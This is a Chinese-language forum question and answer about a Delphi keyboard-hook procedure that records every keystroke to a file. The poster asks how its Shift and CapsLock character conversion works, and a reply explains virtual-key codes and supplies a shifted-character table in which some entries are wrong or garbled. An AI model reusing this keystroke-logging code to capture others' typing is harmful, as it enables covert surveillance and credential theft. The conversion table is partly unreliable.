下面这段程序是我从网上找到的,有几处不明白的地方,请教一下
function KeyboardHookHandler(iCode : Integer;WParam : WPARAM;lParam :
LPARAM) : LRESULT ;stdcall ; export;
const
_KeyPressMask = $80000000 ;
{ 这里是定义了一个常量,我看了看,主要是看最高位,进面得到键是按下还是
弹起 }
begin
Result :=0;
if iCode <0 then
begin
Result :=CallNextHookEx(hNextHookProc,iCode,wParam,lParam);
Exit;
end;
{ 这里是判断是否有键按下 }
if((lParam and _KeyPressMask)=0) then
begin
i:=getkeystate($10); //返回Shift键的状态
j:=getkeystate($14); //返回Caps Lock键的状态
{ 下面这么判断不明白 }
if((j and 1)=1 )then //判断CapsLock是否按下
begin
//判断Shift 是否按下
{ getKeyState 这个函数的返回值的最高位 为 1 ,则表示按下,所以下面
这样判断 }
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
{ 这里明白 }
if (wparam<65) then //判断是字母键还是数字键
begin
{ 这里不明白为什么要 减 16 chr 不是得到的是 ASCII 码吗,wparam
已经是 ASCII 码了,为什么还要取得ASCII 码呢 }
c:=chr(wparam-16);
end else
begin
{ 同样,这里为什么要加 32 }
c:= chr(wparam+32);
end;
end else
begin
if (wparam<65) then
begin
c:=chr(wparam);
end else
begin
c:=chr(wparam);
end;
end;
end else
begin
{ 这里是弹起的情况下 }
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
if (wparam<65) then
begin
c:=chr(wparam-16);
end else
begin
c:= chr(wparam);
end;
end else
begin
if (wparam<65) then
begin
c:=chr(wparam);
end else
begin
c:=chr(wparam+32);
end;
end;
end;
seek(f,FileSize(f));
write(f,c); //将捕获的键码存入文件
end
谢谢您了,我为要还是不明白为什么要减 16 或 加 32 或什么也不加不减 ,还请多
多指点
你好,由于wParam参数所传递的是虚拟键值,所以在有CapsLock或Shift按下时需要进行
相应的转换:
1.虚拟键值65~90(A~Z)之间时,需要根据CapsLock及Shift状态确定是否转换成小写
a~z.(即加32).
2.在Shift与某些键组合时,可能需要转换成辅助字符,例如按下Shift及"1"健,则需转
换成"!".
注:你所找到的代码并不完全正确,只有上面第一点是有规律的,第二点的转换应该是
无规律的,你代码中的减16算法,应该是错误的. 由下面的对应关系可以看出.所以要写
代码进行转换的话,只能对WParam值逐个比较,需要转换的基本上就是下面这些了.
'1'--49--'!'--33
'2'--50--'@'--64
'3'--51--'#'--35
'4'--52--'$'--36
'5'--53--'%'--37
'6'--54--'^'--94
'7'--55--'&'--38
'8'--56--'*'--42
'9'--57--'('--40
'-'--45--'_'--95
'='--62--'+'--43
'/'--92--'|'--124
'['--91--'{'--123
']'--93--'}'--125
';'--59--':'--58
'''--39--'"'--34
','--44--'<'--60
'.'--46--''--62
'/'--47--'?'--63
'`'--96--'~'--126